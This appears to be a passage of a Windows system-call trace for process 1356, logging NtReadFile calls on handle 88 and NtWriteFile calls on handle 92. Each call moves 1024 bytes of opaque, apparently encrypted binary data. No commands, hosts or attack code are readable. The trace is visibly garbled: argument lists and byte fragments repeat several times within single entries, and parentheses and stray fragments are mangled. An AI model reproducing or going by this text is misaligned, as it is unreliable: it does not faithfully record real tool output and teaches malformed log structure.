-$\317\207*\17+(|x/\273\300\273G\201\273y8Y\375\177\30-??\30\34\365\230\212\336\336\257m\26g\340'4)+\303U/4+\250\12\31445\336^8'\261w<\316a\177\225\20\36\33P\242\3463\347'\364)\360\376+/f\370.!\2000<\337\35752\307j\351:5\224\327>6\37\35\0\266J!<\344"*\231':$(`\307\271, \171{V2\\35\33571\223B:TM?\23w\35\23\232\36\14\13\266"L\241jBFN^C\374/!n\2\202\372'\263:\22K93\2543?\3038K\36\25\351\37 '\20%!g"+\353$~bv(0;\241248yyv|y;h=;x^H\35\37\34\321 V\34\362!%\317\201\373.\222L8\362+D\343\10\35001F>\210\372\12\36\14\235T+I\364", ) , ) == 0x0
 01355  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "w\17^\302\353\210\362\30\276\267\275\267,\10\325\243\6ZE\303\34\306g\276E\327\310\37\263l\216N@\261\274\17\263o.\326u\356`S\306\257~=@w=\10\30?\235\267\242\357\25\129\215d\346\1RS\31\5\276Z\374\316\251\12y\347q\263x\334\305"U\205\354\377t\262b\367iy#\237\231\37\11\361\16\233\261\20\251\320\25w\222\223\33\373U\365\5j\377\310\310&\376\246\370\272d\304X\212z\213\371\212\311\232I\304\275S.z\376||\2175\327\223T\344\263\11\325\241\221k\7\254O{\231{7\3\364\34\36\23`\212\362\266$\3761(\361Z*K\2608W\326\264\315\264*\37F\314\265\223\221\323\2164\34\211V\305T\17)\220Tx\303\211\324\344\302\376W{h\277\202\304\355\303\33\214^\200\27\0\323,z\351\232\236\225\25\363I\315\32\206\2007\213\315S{\233\275T"ACDct\2268@\343^z\232\312l\233yvZ1\35\7\233\242\371\256\37\345\236\306\32\215\312\17-\203\324\302JGOP\204-AL\17t\273\232\327\310\312g\261%\332\25\24T\267\200YD\252~\250-a\333\327\244\317g\250\355%\361_\271@\217\271\31\203\21-LL~E\332^\34^P5\363\307\342\212\372\337\2114O\271\307\22\331\345\356\270\2554\321\366%\273I\333\332K\264\247\16\301>\304\274\301\335n\5@\315\311\222l\21J\\206\364\324n3g7W/\16\256`\213E\3655\206(W\203\204%\343.5\214\35\3330\3+\374@s\217Gf\251iu5\256\34\212\313\210\253\35[l\306\301\305X\257\251\230\217\212\225\33\225\377cH\273\1\355\13JdZ5;O&Y_\343\332\366\350%O\216\202\335\326\256\240aHg\331\245r\264\264/\314\26\275\25\260kB", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) U\205\354\377t\262b\367iy#\237\231\37\11\361\16\233\261\20\251\320\25w\222\223\33\373U\365\5j\377\310\310&\376\246\370\272d\304X\212z\213\371\212\311\232I\304\275S.z\376||\2175\327\223T\344\263\11\325\241\221k\7\254O{\231{7\3\364\34\36\23`\212\362\266$\3761(\361Z*K\2608W\326\264\315\264*\37F\314\265\223\221\323\2164\34\211V\305T\17)\220Tx\303\211\324\344\302\376W{h\277\202\304\355\303\33\214^\200\27\0\323,z\351\232\236\225\25\363I\315\32\206\2007\213\315S{\233\275T (92, 0, 0, 0, "w\17^\302\353\210\362\30\276\267\275\267,\10\325\243\6ZE\303\34\306g\276E\327\310\37\263l\216N@\261\274\17\263o.\326u\356`S\306\257~=@w=\10\30?\235\267\242\357\25\129\215d\346\1RS\31\5\276Z\374\316\251\12y\347q\263x\334\305"U\205\354\377t\262b\367iy#\237\231\37\11\361\16\233\261\20\251\320\25w\222\223\33\373U\365\5j\377\310\310&\376\246\370\272d\304X\212z\213\371\212\311\232I\304\275S.z\376||\2175\327\223T\344\263\11\325\241\221k\7\254O{\231{7\3\364\34\36\23`\212\362\266$\3761(\361Z*K\2608W\326\264\315\264*\37F\314\265\223\221\323\2164\34\211V\305T\17)\220Tx\303\211\324\344\302\376W{h\277\202\304\355\303\33\214^\200\27\0\323,z\351\232\236\225\25\363I\315\32\206\2007\213\315S{\233\275T"ACDct\2268@\343^z\232\312l\233yvZ1\35\7\233\242\371\256\37\345\236\306\32\215\312\17-\203\324\302JGOP\204-AL\17t\273\232\327\310\312g\261%\332\25\24T\267\200YD\252~\250-a\333\327\244\317g\250\355%\361_\271@\217\271\31\203\21-LL~E\332^\34^P5\363\307\342\212\372\337\2114O\271\307\22\331\345\356\270\2554\321\366%\273I\333\332K\264\247\16\301>\304\274\301\335n\5@\315\311\222l\21J\\206\364\324n3g7W/\16\256`\213E\3655\206(W\203\204%\343.5\214\35\3330\3+\374@s\217Gf\251iu5\256\34\212\313\210\253\35[l\306\301\305X\257\251\230\217\212\225\33\225\377cH\273\1\355\13JdZ5;O&Y_\343\332\366\350%O\216\202\335\326\256\240aHg\331\245r\264\264/\314\26\275\25\260kB", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01356  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "A%\204&xv\353.\364~\341.\245t\256\267\364\275\267\26\271\260\22g\30\25\336?/\\31&\340d4r\3-\240\346q\2139_\245:\257>\16;\2216c\334\33\225=r-\2219$\235<\217\32<\10V\374\240]G\35`\347*X\266*4,\34:/\263\335.\337u^w4\256,8n\314\177V*\31\334\14\34\3244#\364v\220 \307S(\305^+\333Y.-J\213\261p9D6\306nH:;\342\36\223\313\332l\36\257c\30\326#`T&J\310jeZ,\315muA12\355Q\276s74j\375~\300=:\266\33Y\21\21\21\253l.\250$p.\254u\325\251\322.-V8\3\361T\270666\357\273\3208\270\376?\275?\342\35b\360\234\331!#\3P4\25\347\242\253/*\257)\354.q5M\363>e\274\261\3719-ilj\326\3\374\12\271\33\265'\20)=\26.\15F:\234\33/Am%\230\216r8\272r=F#;#k'\325b\337]\373\1J;\14\203\231\3tO'u.4\21*.<(26\2364\2342\225.\337s\222<\342\14\320\2219\336,\34\270\31\231  \214"\212 \226\205/J\303\304\14%($G\2355@\335T\236>o\225=\232;\330\0\315\2626\255^\361!b9\354\306&\13\211k'\31s\232.[Q\36S\243F]SV|\6(`\3678\264\5\367\31'\31\31\0!+\274+`\275(j\351\277@XE\316eW\313Z\320;&\3108Q?eja-\2351]\14\243\20\0\15r~id\213U'\10kEEH\250\356Q_\274zp\2145\307\307\310\311\267\7\16\312>\336\220\306\334\365\31\23\341"\250\353\2577\244\351+\242+\270)\202/3q\261\313,q", ) \212 \226\205/J\303\304\14%($G\2355@\335T\236>o\225=\232;\330\0\315\2626\255^\361!b9\354\306&\13\211k'\31s\232.[Q\36S\243F]SV|\6(`\3678\264\5\367\31'\31\31\0!+\274+`\275(j\351\277@XE\316eW\313Z\320;&\3108Q?eja-\2351]\14\243\20\0\15r~id\213U'\10kEEH\250\356Q_\274zp\2145\307\307\310\311\267\7\16\312>\336\220\306\334\365\31\23\341 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "A%\204&xv\353.\364~\341.\245t\256\267\364\275\267\26\271\260\22g\30\25\336?/\\31&\340d4r\3-\240\346q\2139_\245:\257>\16;\2216c\334\33\225=r-\2219$\235<\217\32<\10V\374\240]G\35`\347*X\266*4,\34:/\263\335.\337u^w4\256,8n\314\177V*\31\334\14\34\3244#\364v\220 \307S(\305^+\333Y.-J\213\261p9D6\306nH:;\342\36\223\313\332l\36\257c\30\326#`T&J\310jeZ,\315muA12\355Q\276s74j\375~\300=:\266\33Y\21\21\21\253l.\250$p.\254u\325\251\322.-V8\3\361T\270666\357\273\3208\270\376?\275?\342\35b\360\234\331!#\3P4\25\347\242\253/*\257)\354.q5M\363>e\274\261\3719-ilj\326\3\374\12\271\33\265'\20)=\26.\15F:\234\33/Am%\230\216r8\272r=F#;#k'\325b\337]\373\1J;\14\203\231\3tO'u.4\21*.<(26\2364\2342\225.\337s\222<\342\14\320\2219\336,\34\270\31\231  \214"\212 \226\205/J\303\304\14%($G\2355@\335T\236>o\225=\232;\330\0\315\2626\255^\361!b9\354\306&\13\211k'\31s\232.[Q\36S\243F]SV|\6(`\3678\264\5\367\31'\31\31\0!+\274+`\275(j\351\277@XE\316eW\313Z\320;&\3108Q?eja-\2351]\14\243\20\0\15r~id\213U'\10kEEH\250\356Q_\274zp\2145\307\307\310\311\267\7\16\312>\336\220\306\334\365\31\23\341"\250\353\2577\244\351+\242+\270)\202/3q\261\313,q", ) , ) == 0x0
 01357  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\3052tn\207\271Cc\335`\246g\364\240.U\17)}\36\247>\263\245\332\273E\242\k}W\255\32\1\212\3441\141m\6\247\300,\31\331\254\361x(\302y_\2461\353#\230\332\2020\253Z6\35^\25\205\31a$\277\20\32\330\2243\362I\364d4#\27A\271\312\251\372l\227x\1\330\265BI\33\375\367\353\14\376=\234\272\177\311\376\276\375\375\263;\2146R\35\5\341\36|\30\306J\\230C\362\323O\2140\351z\270\354B\3522\2731\262\340\3<\346\333\330\362ol\202\14 w\255ZK\14\20\264f~p\2650\346iI\362\0.\272\305\362\331\230\351\310h\365\200\374\327:\201a,3\370\340a\373\371\33\22W\276\357\11\34/x\10\10D\227\37X\222jr"Z\301\301s\273\254\265\277\331\32\247\355\36\365\267i\231&XO7\24\215R\148K\\276\355\356x\353\336\260\352w\277C\340kD\37Cf\227y\215\262tc\347{\13$>\203\224S:&\202\375\205\1=E\216\242Tw[\236\343\345\264]\241Q\316C\322\20\21\231\336\362\350\22\3379\350\25A\246\323\\31K\373\202\251\332zSXJ\324U\227\24\371\274~"\210\245\200h\33\2535M\301\272l\44=#\15\2656\254\234MV\344\240\340\240\345e\242\276M\201\217\203o\24e\360f&\266d(\246\17\7U\374\241\376\343\324f64\2776\361%\2042+\276\222\21\243H\326\345X]\370wzI\20\311\321\274\270\341\363\374'\213\7Nl\207\365o\203\333\314\301", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) Z\301\301s\273\254\265\277\331\32\247\355\36\365\267i\231&XO7\24\215R\148K\\276\355\356x\353\336\260\352w\277C\340kD\37Cf\227y\215\262tc\347{\13$>\203\224S:&\202\375\205\1=E\216\242Tw[\236\343\345\264]\241Q\316C\322\20\21\231\336\362\350\22\3379\350\25A\246\323\\31K\373\202\251\332zSXJ\324U\227\24\371\274~ (92, 0, 0, 0, "\3052tn\207\271Cc\335`\246g\364\240.U\17)}\36\247>\263\245\332\273E\242\k}W\255\32\1\212\3441\141m\6\247\300,\31\331\254\361x(\302y_\2461\353#\230\332\2020\253Z6\35^\25\205\31a$\277\20\32\330\2243\362I\364d4#\27A\271\312\251\372l\227x\1\330\265BI\33\375\367\353\14\376=\234\272\177\311\376\276\375\375\263;\2146R\35\5\341\36|\30\306J\\230C\362\323O\2140\351z\270\354B\3522\2731\262\340\3<\346\333\330\362ol\202\14 w\255ZK\14\20\264f~p\2650\346iI\362\0.\272\305\362\331\230\351\310h\365\200\374\327:\201a,3\370\340a\373\371\33\22W\276\357\11\34/x\10\10D\227\37X\222jr"Z\301\301s\273\254\265\277\331\32\247\355\36\365\267i\231&XO7\24\215R\148K\\276\355\356x\353\336\260\352w\277C\340kD\37Cf\227y\215\262tc\347{\13$>\203\224S:&\202\375\205\1=E\216\242Tw[\236\343\345\264]\241Q\316C\322\20\21\231\336\362\350\22\3379\350\25A\246\323\\31K\373\202\251\332zSXJ\324U\227\24\371\274~"\210\245\200h\33\2535M\301\272l\44=#\15\2656\254\234MV\344\240\340\240\345e\242\276M\201\217\203o\24e\360f&\266d(\246\17\7U\374\241\376\343\324f64\2776\361%\2042+\276\222\21\243H\326\345X]\370wzI\20\311\321\274\270\341\363\374'\213\7Nl\207\365o\203\333\314\301", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01358  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "<2>8\24\34\36k>%O2+}\326!\250?\330.\242\333\372'!2!>\240$\3\6\25\2327\265-\274\314\2659K\364\35\37\376\6\320r\11 \254(\3271\3616\4%\14'\255\254\21;\305\354.\366wW(\345$4\202\37\260\24\34\22\36\20 ."\342'%\255f!\352\272#,\2420'X\321L\271*d`\274\311\271\263O\309\326\376\301l\21\276Q)\311/\310U%t\227'i:+(\305\323\305\3401\274#\25755\361\3109;\323\321xw$)\265\24\27\245\356\40.\304\12\247\6\356K\23m1Nc`\331\311>Pz\37549?|\2564\260\214+:8\20i\302Q\10%!O""=\23<7\315F\237\23V&?\2230\310\6!x7\333.<9l?\33\35\270|\37\334\0(\6\334w&\323z) \333~-\302. \360\36535\25\342\326{9;\232\204k\2657\352\364\256\276\320\326e\6+$$R ~\301\226\324\323\15\321v\273\367l\3625\276\367fi9?\342\14y(:\271}\11\33\17J.\326'*\265#%+\331+\7F>\177\307\342\32\240\275!04'=\327\212^\261\253\224[\31\31O\12\32\2518'20 04\330-\23!h\34$\177\330\263\247)16&2\262\367\263}&\373x&\273\34\34v{\31\220\30\6d:\303\247U-\32*-s\1'?1hI7\3251$\224\367\261|5m\326]\331\215O\320\367\350\201H$\214\336?U9\270|41\13\370\5\357>\6E\356\206$\351"\344\37\37!&"$$\332'(*k\33j\35s\37X1\2L\4\260\6\224\10\221:\13\203\15\364\17\372,\360\36/+\202\22\12\24\31#\31z", ) \342'%\255f!\352\272#,\2420'X\321L\271*d`\274\311\271\263O\309\326\376\301l\21\276Q)\311/\310U%t\227'i:+(\305\323\305\3401\274#\25755\361\3109;\323\321xw$)\265\24\27\245\356\40.\304\12\247\6\356K\23m1Nc`\331\311>Pz\37549?|\2564\260\214+:8\20i\302Q\10%!O" (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "<2>8\24\34\36k>%O2+}\326!\250?\330.\242\333\372'!2!>\240$\3\6\25\2327\265-\274\314\2659K\364\35\37\376\6\320r\11 \254(\3271\3616\4%\14'\255\254\21;\305\354.\366wW(\345$4\202\37\260\24\34\22\36\20 ."\342'%\255f!\352\272#,\2420'X\321L\271*d`\274\311\271\263O\309\326\376\301l\21\276Q)\311/\310U%t\227'i:+(\305\323\305\3401\274#\25755\361\3109;\323\321xw$)\265\24\27\245\356\40.\304\12\247\6\356K\23m1Nc`\331\311>Pz\37549?|\2564\260\214+:8\20i\302Q\10%!O""=\23<7\315F\237\23V&?\2230\310\6!x7\333.<9l?\33\35\270|\37\334\0(\6\334w&\323z) \333~-\302. \360\36535\25\342\326{9;\232\204k\2657\352\364\256\276\320\326e\6+$$R ~\301\226\324\323\15\321v\273\367l\3625\276\367fi9?\342\14y(:\271}\11\33\17J.\326'*\265#%+\331+\7F>\177\307\342\32\240\275!04'=\327\212^\261\253\224[\31\31O\12\32\2518'20 04\330-\23!h\34$\177\330\263\247)16&2\262\367\263}&\373x&\273\34\34v{\31\220\30\6d:\303\247U-\32*-s\1'?1hI7\3251$\224\367\261|5m\326]\331\215O\320\367\350\201H$\214\336?U9\270|41\13\370\5\357>\6E\356\206$\351"\344\37\37!&"$$\332'(*k\33j\35s\37X1\2L\4\260\6\224\10\221:\13\203\15\364\17\372,\360\36/+\202\22\12\24\31#\31z", ) H$\214\336?U9\270|41\13\370\5\357>\6E\356\206$\351 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "<2>8\24\34\36k>%O2+}\326!\250?\330.\242\333\372'!2!>\240$\3\6\25\2327\265-\274\314\2659K\364\35\37\376\6\320r\11 \254(\3271\3616\4%\14'\255\254\21;\305\354.\366wW(\345$4\202\37\260\24\34\22\36\20 ."\342'%\255f!\352\272#,\2420'X\321L\271*d`\274\311\271\263O\309\326\376\301l\21\276Q)\311/\310U%t\227'i:+(\305\323\305\3401\274#\25755\361\3109;\323\321xw$)\265\24\27\245\356\40.\304\12\247\6\356K\23m1Nc`\331\311>Pz\37549?|\2564\260\214+:8\20i\302Q\10%!O""=\23<7\315F\237\23V&?\2230\310\6!x7\333.<9l?\33\35\270|\37\334\0(\6\334w&\323z) \333~-\302. \360\36535\25\342\326{9;\232\204k\2657\352\364\256\276\320\326e\6+$$R ~\301\226\324\323\15\321v\273\367l\3625\276\367fi9?\342\14y(:\271}\11\33\17J.\326'*\265#%+\331+\7F>\177\307\342\32\240\275!04'=\327\212^\261\253\224[\31\31O\12\32\2518'20 04\330-\23!h\34$\177\330\263\247)16&2\262\367\263}&\373x&\273\34\34v{\31\220\30\6d:\303\247U-\32*-s\1'?1hI7\3251$\224\367\261|5m\326]\331\215O\320\367\350\201H$\214\336?U9\270|41\13\370\5\357>\6E\356\206$\351"\344\37\37!&"$$\332'(*k\33j\35s\37X1\2L\4\260\6\224\10\221:\13\203\15\364\17\372,\360\36/+\202\22\12\24\31#\31z", ) $$\332'(*k\33j\35s\37X1\2L\4\260\6\224\10\221:\13\203\15\364\17\372,\360\36/+\202\22\12\24\31#\31z", ) == 0x0
 01359  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "637\3242\271<$$3_\334\265\2\374\130\373\377\302\233x\335\325\331\330\213\5\353\334\213\253<\235e\375\30\315+C)\7\247\242\320b\11K\365wf\303K\225wF=\236q\326\23&?\301\211(\204h]]\202\320\31\15\337\211\16\266\244\16\17x\243\214\333\22\377\370\322\210-m:#\311\206\313\322\370b\234\377\224eEM+\223:\351\5\257n\222\272\247\14Dg\202)\240(~\22\276\24\252e\245p\205\33yE\14\253\335\235Ke=\334]\266\316\231\212\311\3303U\336-Ml\357y:-\270T\370\221\252t\216\362\220\260x\323\15\13\221B>0&\204\201(.,U\274\250\6t] W+!\245\36!M\332\27|\304\305-\355C#G\37\11\346Op\325%\7\310\15D\26\370T\334l\203z\205\237\232\206\250t\356\266\262.v]\200\\317\376O-W\251\266cV7Y\7\314\222\217\302\323\221.'S*^\341v\200l\361k=\210d\1\321+U\275J=@\254\3476\253M\2031T\372\233\367\266\335I]\332z\261\242\37`", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01360  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "#`"7\3647G6\241,;\323e\315\22]\273t=\217\210p\312\240\201\245\5\223\14\311\215{"\35\317\357:)`\3\32<\26\32'\270\32\233#\14\37\217\216\234=\35\367m\303\205\343!oE&-{\357*\372M\245/4J3\\222|4\12\211\;>P\364?:\234\216?\36\11\242(\2436\31\262\247%\214a\260+$\216*\256=\1770o\246<\264\263\314I\273>\323\10\277=\277F^\237}\245g-#+%)'')%+#-!/?11>4\36593ni\322\17\237\254~,\353\343\10\3773\5\336\22\21\244\245_ `$**\274?do\320{*\263(!g\2678-\32\266\270\15>>\2133OO\257-!t\250P\1.g~\301V\14\321\322,DD00\263j\366\2751\3779?[\2673o\300\16\35\243\36\5\347\301$# \26\346#\2258s/e/\2*y\272v\278@96\270\211\2602c\265n\27\374\224\30\35\300\240\202C!%',+;:KS--/1\341$\3436#F\48<;;=\275>\202\263\263\227c\3261\237"\327,%'\148\0\243*\334,*r\270\273\331/\375='\250\320\13;s\?>?\34\330\332X\17\0\311\3577vR\266!\3204|\226\254\256\212Z\220E\320Ea0\236\272v-\332p`.\23/N\35B\241\13/!-#+%\2250\177\251%'M=P\320?\265\342\3038\34598|\275\374)\3512\272is\334\275\324\35!\22\324c}\345\11\4i\351J\249\246n\255\340a\315?!\5\22659\220EN9\203\266<\33\37\277\33\3405I\202!)E(*k\240+tY/\245\351&o\334a95eV\3205m\2764\25?:\333\33)", ) 7\3647G6\241,;\323e\315\22]\273t=\217\210p\312\240\201\245\5\223\14\311\215{ (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "#`"7\3647G6\241,;\323e\315\22]\273t=\217\210p\312\240\201\245\5\223\14\311\215{"\35\317\357:)`\3\32<\26\32'\270\32\233#\14\37\217\216\234=\35\367m\303\205\343!oE&-{\357*\372M\245/4J3\\222|4\12\211\;>P\364?:\234\216?\36\11\242(\2436\31\262\247%\214a\260+$\216*\256=\1770o\246<\264\263\314I\273>\323\10\277=\277F^\237}\245g-#+%)'')%+#-!/?11>4\36593ni\322\17\237\254~,\353\343\10\3773\5\336\22\21\244\245_ `$**\274?do\320{*\263(!g\2678-\32\266\270\15>>\2133OO\257-!t\250P\1.g~\301V\14\321\322,DD00\263j\366\2751\3779?[\2673o\300\16\35\243\36\5\347\301$# \26\346#\2258s/e/\2*y\272v\278@96\270\211\2602c\265n\27\374\224\30\35\300\240\202C!%',+;:KS--/1\341$\3436#F\48<;;=\275>\202\263\263\227c\3261\237"\327,%'\148\0\243*\334,*r\270\273\331/\375='\250\320\13;s\?>?\34\330\332X\17\0\311\3577vR\266!\3204|\226\254\256\212Z\220E\320Ea0\236\272v-\332p`.\23/N\35B\241\13/!-#+%\2250\177\251%'M=P\320?\265\342\3038\34598|\275\374)\3512\272is\334\275\324\35!\22\324c}\345\11\4i\351J\249\246n\255\340a\315?!\5\22659\220EN9\203\266<\33\37\277\33\3405I\202!)E(*k\240+tY/\245\351&o\334a95eV\3205m\2764\25?:\333\33)", ) \327,%'\148\0\243*\334,*r\270\273\331/\375='\250\320\13;s\?>?\34\330\332X\17\0\311\3577vR\266!\3204|\226\254\256\212Z\220E\320Ea0\236\272v-\332p`.\23/N\35B\241\13/!-#+%\2250\177\251%'M=P\320?\265\342\3038\34598|\275\374)\3512\272is\334\275\324\35!\22\324c}\345\11\4i\351J\249\246n\255\340a\315?!\5\22659\220EN9\203\266<\33\37\277\33\3405I\202!)E(*k\240+tY/\245\351&o\334a95eV\3205m\2764\25?:\333\33)", ) == 0x0
 01361  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, ":\331\20\377ev^FU#\214\277h7 \263\311\314DD\246\10\16\2303\211-\10"j\257wL\304\364\36XHpc\3376\276\17\2721<\325\324\253\361\37\327\4\235\31cz\277o\3460\2\20\365\252\2762\357\52\232\213B\365\10\332\241\326\26\220?\307\243\345@\10]I\20[Q6"\376\340\3670\224\375fq\4\243\350\256z\251\235&\13\221\341\214\13>Ctg\30\236\22\36\263i\203c\203V\317\215\214\214\10g\5\5Y\201\225\361n\272\370\372\233={%\346\336\371\2076\235\306\365\27\341\241\373\1\373\274\23A\313yX\364\22=\370\324\14y%\277\2729\4\372\307\315\372D\379\320\235\222 g\332\2568\6&\361\200\235\277\11B\343\323)\307'\311r)8\25^`\232\351\32\351\263B\4x\21\20\305\266\307\203\302\231\344\226\35\207\340\342T\324\316\267y\354\355#\374\311m`-"\355\323<\243\350Q\7\213\256v\204QV\277:\365U+\336\344\316\202\223a\346@\310\335\204x\267\12\10\;\201\270\7I\246\212\205\367\243S\232+\315\37\252\3324F\263c\207"\12\6\304\257\2\224\262\305\32\243\276l\213l\327\345\315\3349R+~\25\2209\220\214Sl\277$\320O\355${Y\255\234a\13\32\332\377\300\34\232\22=\255\314\34\246\344Q{\311\260&\364\352\263V\327\273N\354\270\265\242\274\307\30\20\241\374\0\267-\313\37"(\203\335\306\201\364\232a@\366\351\204\356\274\334\25y\224\4\243\2258\242\235\223\243J !\271\271\366d\354\232u\226cQ\213So\373B4\251V\217\335\350I\24\3025NYzm/\347k\350\271\215\244I\6\245[\222\341\21g\236\236j\341\265v\2\240`G+b\262\266\271\200\264\15\357_\250/\211\366\255\233\264\232K\222\257\37\250\3751", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) j\257wL\304\364\36XHpc\3376\276\17\2721<\325\324\253\361\37\327\4\235\31cz\277o\3460\2\20\365\252\2762\357\52\232\213B\365\10\332\241\326\26\220?\307\243\345@\10]I\20[Q6 (92, 0, 0, 0, ":\331\20\377ev^FU#\214\277h7 \263\311\314DD\246\10\16\2303\211-\10"j\257wL\304\364\36XHpc\3376\276\17\2721<\325\324\253\361\37\327\4\235\31cz\277o\3460\2\20\365\252\2762\357\52\232\213B\365\10\332\241\326\26\220?\307\243\345@\10]I\20[Q6"\376\340\3670\224\375fq\4\243\350\256z\251\235&\13\221\341\214\13>Ctg\30\236\22\36\263i\203c\203V\317\215\214\214\10g\5\5Y\201\225\361n\272\370\372\233={%\346\336\371\2076\235\306\365\27\341\241\373\1\373\274\23A\313yX\364\22=\370\324\14y%\277\2729\4\372\307\315\372D\379\320\235\222 g\332\2568\6&\361\200\235\277\11B\343\323)\307'\311r)8\25^`\232\351\32\351\263B\4x\21\20\305\266\307\203\302\231\344\226\35\207\340\342T\324\316\267y\354\355#\374\311m`-"\355\323<\243\350Q\7\213\256v\204QV\277:\365U+\336\344\316\202\223a\346@\310\335\204x\267\12\10\;\201\270\7I\246\212\205\367\243S\232+\315\37\252\3324F\263c\207"\12\6\304\257\2\224\262\305\32\243\276l\213l\327\345\315\3349R+~\25\2209\220\214Sl\277$\320O\355${Y\255\234a\13\32\332\377\300\34\232\22=\255\314\34\246\344Q{\311\260&\364\352\263V\327\273N\354\270\265\242\274\307\30\20\241\374\0\267-\313\37"(\203\335\306\201\364\232a@\366\351\204\356\274\334\25y\224\4\243\2258\242\235\223\243J !\271\271\366d\354\232u\226cQ\213So\373B4\251V\217\335\350I\24\3025NYzm/\347k\350\271\215\244I\6\245[\222\341\21g\236\236j\341\265v\2\240`G+b\262\266\271\200\264\15\357_\250/\211\366\255\233\264\232K\222\257\37\250\3751", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \355\323<\243\350Q\7\213\256v\204QV\277:\365U+\336\344\316\202\223a\346@\310\335\204x\267\12\10\;\201\270\7I\246\212\205\367\243S\232+\315\37\252\3324F\263c\207 (92, 0, 0, 0, ":\331\20\377ev^FU#\214\277h7 \263\311\314DD\246\10\16\2303\211-\10"j\257wL\304\364\36XHpc\3376\276\17\2721<\325\324\253\361\37\327\4\235\31cz\277o\3460\2\20\365\252\2762\357\52\232\213B\365\10\332\241\326\26\220?\307\243\345@\10]I\20[Q6"\376\340\3670\224\375fq\4\243\350\256z\251\235&\13\221\341\214\13>Ctg\30\236\22\36\263i\203c\203V\317\215\214\214\10g\5\5Y\201\225\361n\272\370\372\233={%\346\336\371\2076\235\306\365\27\341\241\373\1\373\274\23A\313yX\364\22=\370\324\14y%\277\2729\4\372\307\315\372D\379\320\235\222 g\332\2568\6&\361\200\235\277\11B\343\323)\307'\311r)8\25^`\232\351\32\351\263B\4x\21\20\305\266\307\203\302\231\344\226\35\207\340\342T\324\316\267y\354\355#\374\311m`-"\355\323<\243\350Q\7\213\256v\204QV\277:\365U+\336\344\316\202\223a\346@\310\335\204x\267\12\10\;\201\270\7I\246\212\205\367\243S\232+\315\37\252\3324F\263c\207"\12\6\304\257\2\224\262\305\32\243\276l\213l\327\345\315\3349R+~\25\2209\220\214Sl\277$\320O\355${Y\255\234a\13\32\332\377\300\34\232\22=\255\314\34\246\344Q{\311\260&\364\352\263V\327\273N\354\270\265\242\274\307\30\20\241\374\0\267-\313\37"(\203\335\306\201\364\232a@\366\351\204\356\274\334\25y\224\4\243\2258\242\235\223\243J !\271\271\366d\354\232u\226cQ\213So\373B4\251V\217\335\350I\24\3025NYzm/\347k\350\271\215\244I\6\245[\222\341\21g\236\236j\341\265v\2\240`G+b\262\266\271\200\264\15\357_\250/\211\366\255\233\264\232K\222\257\37\250\3751", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) (\203\335\306\201\364\232a@\366\351\204\356\274\334\25y\224\4\243\2258\242\235\223\243J !\271\271\366d\354\232u\226cQ\213So\373B4\251V\217\335\350I\24\3025NYzm/\347k\350\271\215\244I\6\245[\222\341\21g\236\236j\341\265v\2\240`G+b\262\266\271\200\264\15\357_\250/\211\366\255\233\264\232K\222\257\37\250\3751", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01362  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "k\344\317%\333\214\241\340,E\256/3\262\3230^55gR8\311\237\267\08\327\373\27\15\33'H!!\243%\325n\254\330\252\324\324X-/ht133\335\31264\263u\36+<\260j\33\17MOM\222 e\6\23N\1vq\327-?w-\7\326\254\317%F#\15\312#s85jl\261}r\33kt\315X\37\25pb\3341\325\375%))\36_CYOC\20BW\267ZQ\364\35\2196I<(\266\16.,\317\353 "\302[\301&#\24[)\31\30)+\335/>7\30\\344.R\226\17\25K2\6\35~jHYOW[\241!l/m}F'\212\321\26\177\21\201\23\246\16\337\14\32\13q\11L\7\233\5;?\375"\16;-\35:.\14\20\22\22\20\24&\33\31i\33o\35a\37/`\0f\2h\4V\68]\13W\15M\17K*\34a/\237\21\245\23\257\25W\37~\22R\20\260\26\211\24~\13\267\11\220\17\233\15\336\3=\6\33\0\12\2_'c!\13"?\34\13\36\307\30%\31<\27y\25\340\23=\20\37\1620\264766\22499\257\14\215\164*;,\235.\355\20T\345\325 L\330 AR\241\314\342J\21605\22cP\274\237\30\272\32n<\266R\33'J.\350\234(\334#\252${\257S\14%\256V\11mR\27X\261]s\261\30v\6\254\331v\273\342`\336\14;x\31\227\22\200 "\247\241\345R.\253\321:##\250\342/\250\7\277M$\5a", ) \302[\301&#\24[)\31\30)+\335/>7\30\\344.R\226\17\25K2\6\35~jHYOW[\241!l/m}F'\212\321\26\177\21\201\23\246\16\337\14\32\13q\11L\7\233\5;?\37532\214\35\35.\20]\22\220\24D\27\273\31\236\33\341\35\240\34\347\2a\1\246\7\356\5\325\13\300\11;=\110\13\(K*p\24\344\26\20\23P\21'\30\305\32\333\34\331\36\3230\122\51\7;\119*\12(\14 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, 